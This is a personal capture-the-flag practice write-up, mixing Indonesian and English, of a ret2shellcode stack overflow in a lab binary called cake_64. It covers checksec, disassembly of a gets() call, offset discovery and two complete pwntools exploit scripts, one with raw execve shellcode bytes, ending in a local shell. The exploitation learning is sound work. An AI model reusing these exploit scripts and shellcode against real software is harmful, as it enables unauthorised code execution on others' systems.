ret2shellcode
Latihan buat persiapan seleksi LKS, isinya ret2shellcode.
Diawal, kita sudah diberi hint bahwa challenge ini itu ret2shellcode. Langsung saja kita checksec. Dan yup, kalau NX nya disabled itu 100% shellcode, tapi kalau unknown sih berdoa aja wkwk.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode main*
❯ checksec cake_64 13:24:06
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode/cake_64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: NoLuckily, its not stripped, lets check the function.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode main*
❯ pwndbg cake_64 13:23:40
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from cake_64...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.cachyos.org>
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in cake_64)
gef➤ info fun
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401070 puts@plt
0x0000000000401080 printf@plt
0x0000000000401090 gets@plt
0x00000000004010a0 setvbuf@plt
0x00000000004010b0 _start
0x00000000004010e0 _dl_relocate_static_pie
0x00000000004010f0 deregister_tm_clones
0x0000000000401120 register_tm_clones
0x0000000000401160 __do_global_dtors_aux
0x0000000000401190 frame_dummy
0x0000000000401196 init
0x00000000004011dd kue_leaker
0x000000000040124a main
0x0000000000401270 __libc_csu_init
0x00000000004012e0 __libc_csu_fini
0x00000000004012e8 _finiBecause there’s a function that kue_leaker, usually I assume that is the vuln, so I don’t check the main. Because usually its just call the vuln.
gef➤ disas kue_leaker
Dump of assembler code for function kue_leaker:
0x00000000004011dd <+0>: endbr64
0x00000000004011e1 <+4>: push rbp
0x00000000004011e2 <+5>: mov rbp,rsp
0x00000000004011e5 <+8>: add rsp,0xffffffffffffff80
0x00000000004011e9 <+12>: lea rdi,[rip+0xe18] # 0x402008
0x00000000004011f0 <+19>: call 0x401070 <puts@plt>
0x00000000004011f5 <+24>: lea rdi,[rip+0xe54] # 0x402050
0x00000000004011fc <+31>: call 0x401070 <puts@plt>
0x0000000000401201 <+36>: lea rax,[rbp-0x80]
0x0000000000401205 <+40>: mov rsi,rax
0x0000000000401208 <+43>: lea rdi,[rip+0xe8f] # 0x40209e
0x000000000040120f <+50>: mov eax,0x0
0x0000000000401214 <+55>: call 0x401080 <printf@plt>
0x0000000000401219 <+60>: lea rdi,[rip+0xe98] # 0x4020b8
0x0000000000401220 <+67>: mov eax,0x0
0x0000000000401225 <+72>: call 0x401080 <printf@plt>
0x000000000040122a <+77>: lea rax,[rbp-0x80]
0x000000000040122e <+81>: mov rdi,rax
0x0000000000401231 <+84>: mov eax,0x0
0x0000000000401236 <+89>: call 0x401090 <gets@plt>
0x000000000040123b <+94>: lea rdi,[rip+0xede] # 0x402120
0x0000000000401242 <+101>: call 0x401070 <puts@plt>
0x0000000000401247 <+106>: nop
0x0000000000401248 <+107>: leave
0x0000000000401249 <+108>: ret
End of assembler dump.
Okay, there’s gets. and 0x80 = 128, because its x86, we need 136 for reaching EIP. And now we verification for the offset for the EIP.
>>> 0x80
128
>>> 0x80 + 8
136
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1f
$rbx : 0x0
$rcx : 0x00007ffff7e4f750 → 0x0000000000000000
$rdx : 0x00007ffff7e4f750 → 0x0000000000000000
$rsp : 0x00007fffffffdfb8 → "raaaaaaasaaaaa"
$rbp : 0x6161616161616171 ("qaaaaaaa"?)
$rsi : 0x00007ffff7e4e603 → 0xe4f750000000000a ("\n"?)
$rdi : 0x1
$rip : 0x0000000000401249 → <kue_leaker+006c> ret
$r8 : 0x1
$r9 : 0x0
$r10 : 0x0
$r11 : 0x202
$r12 : 0x1
$r13 : 0x00007fffffffe0e0 → 0x0000000000000001
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe3c0 → 0x0000000000000000
$r15 : 0x00007fffffffe0f8 → 0x00007fffffffe517 → "DISPLAY=:1"
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfb8│+0x0000: "raaaaaaasaaaaa" ← $rsp
0x00007fffffffdfc0│+0x0008: 0x0000616161616173 ("saaaaa"?)
0x00007fffffffdfc8│+0x0010: 0x00007ffff7c27d0e → mov edi, eax
0x00007fffffffdfd0│+0x0018: 0x00007ffff7fe1bf0 → endbr64
0x00007fffffffdfd8│+0x0020: 0x000000000040124a → <main+0000> endbr64
0x00007fffffffdfe0│+0x0028: 0x00000001f7fe1bf0
0x00007fffffffdfe8│+0x0030: 0x00007fffffffe0e8 → 0x00007fffffffe4b7 → "/home/claritys/ctf/pwncheatsheet/learnfromLKS/Bina[...]"
0x00007fffffffdff0│+0x0038: 0x0000000000400040 → (bad)
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401242 <kue_leaker+0065> call 0x401070 <puts@plt>
0x401247 <kue_leaker+006a> nop
0x401248 <kue_leaker+006b> leave
→ 0x401249 <kue_leaker+006c> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cake_64", stopped 0x401249 in kue_leaker (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401249 → kue_leaker()
───────────────────────────────────────────────────────────────────────────────────────────
gef➤ cyclic -l raaaaaaa
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136
Nah, kalau untuk ret2shellcode itu biasanya bikin RIP itu mengarah ke leak tempat buffer awal kita. Jadinya kita tinggal ngasih shellcraft.sh di awal terus nanti dikasih ljust biar lebih simple nanti payloadnya.
My own solver: (actually I’m using template from pwninit and then i modifed it a bit for my own environment)
#!/usr/bin/env python3
from pwn import *
elf = ELF("cake_64_patched")
exe = context.binary
context.terminal = ["ghostty", "-e"]
context.arch = "amd64"
gdbscript = """
set pagination off
set confirm off
break main
continue
"""
def conn():
if args.GDB:
r = process([elf.path])
gdb.attach(r, gdbscript=gdbscript)
return r
if args.LOCAL:
return process([elf.path])
return remote("addr", 1337)
def main():
r = conn()
shellcode = asm(shellcraft.sh())
# good luck pwning :)
r.recvuntil("=")
buffer_address = int(r.recvline().strip(),16)
payload = flat(
shellcode.ljust(136, b'A'),
p64(buffer_address)
)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()Nah, aku ini no AI tapi melihat solver yang dulu hehe.
Solver resmi dari latihan LKS nya adalah:
from pwn import *
elf = context.binary = ELF('./cake_64')
p = process()
# Nyusun apa yang dikasih tahu
offset = 136
#shell = asm(shellcraft.sh())
shell = b"\x48\x31\xc0\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p.recvuntil(b'= ')
leak = int(p.recvline().strip(),16)
#payload = flat(shell, cyclic(88), leak)
payload = flat(shell.ljust(offset, b'A'), p64(leak))
p.sendlineafter(b'> ',payload)
p.interactive()⏎we can keep it and use it as a reference in the future.
Eh aku juga baru tau kalau bisa kayak gitu gara gara solver resmi dari latihan LKSnya, dia lebih singkat sama lebih simple.
Implement:
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode main*
❯ python3 solve.py LOCAL 13:33:45
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode/cake_64_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
[x] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[←] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[+] on/ROP/ret2shellcode/cake_64_patched': pid 101775
/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2shellcode/solve.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.recvuntil("=")
[*] Switching to interactive mode
Lylera: Maka dari itu coba susun cara bagaiman dari leak ini dapat shell. Aku kasih kamu kertas
>
Lylera: Okee. Mari kita cobaa
$ ls
cake.zip cake_32.py cake_64 cake_64_patched solve32.py
cake_32 cake_32_patched cake_64.py solve.py
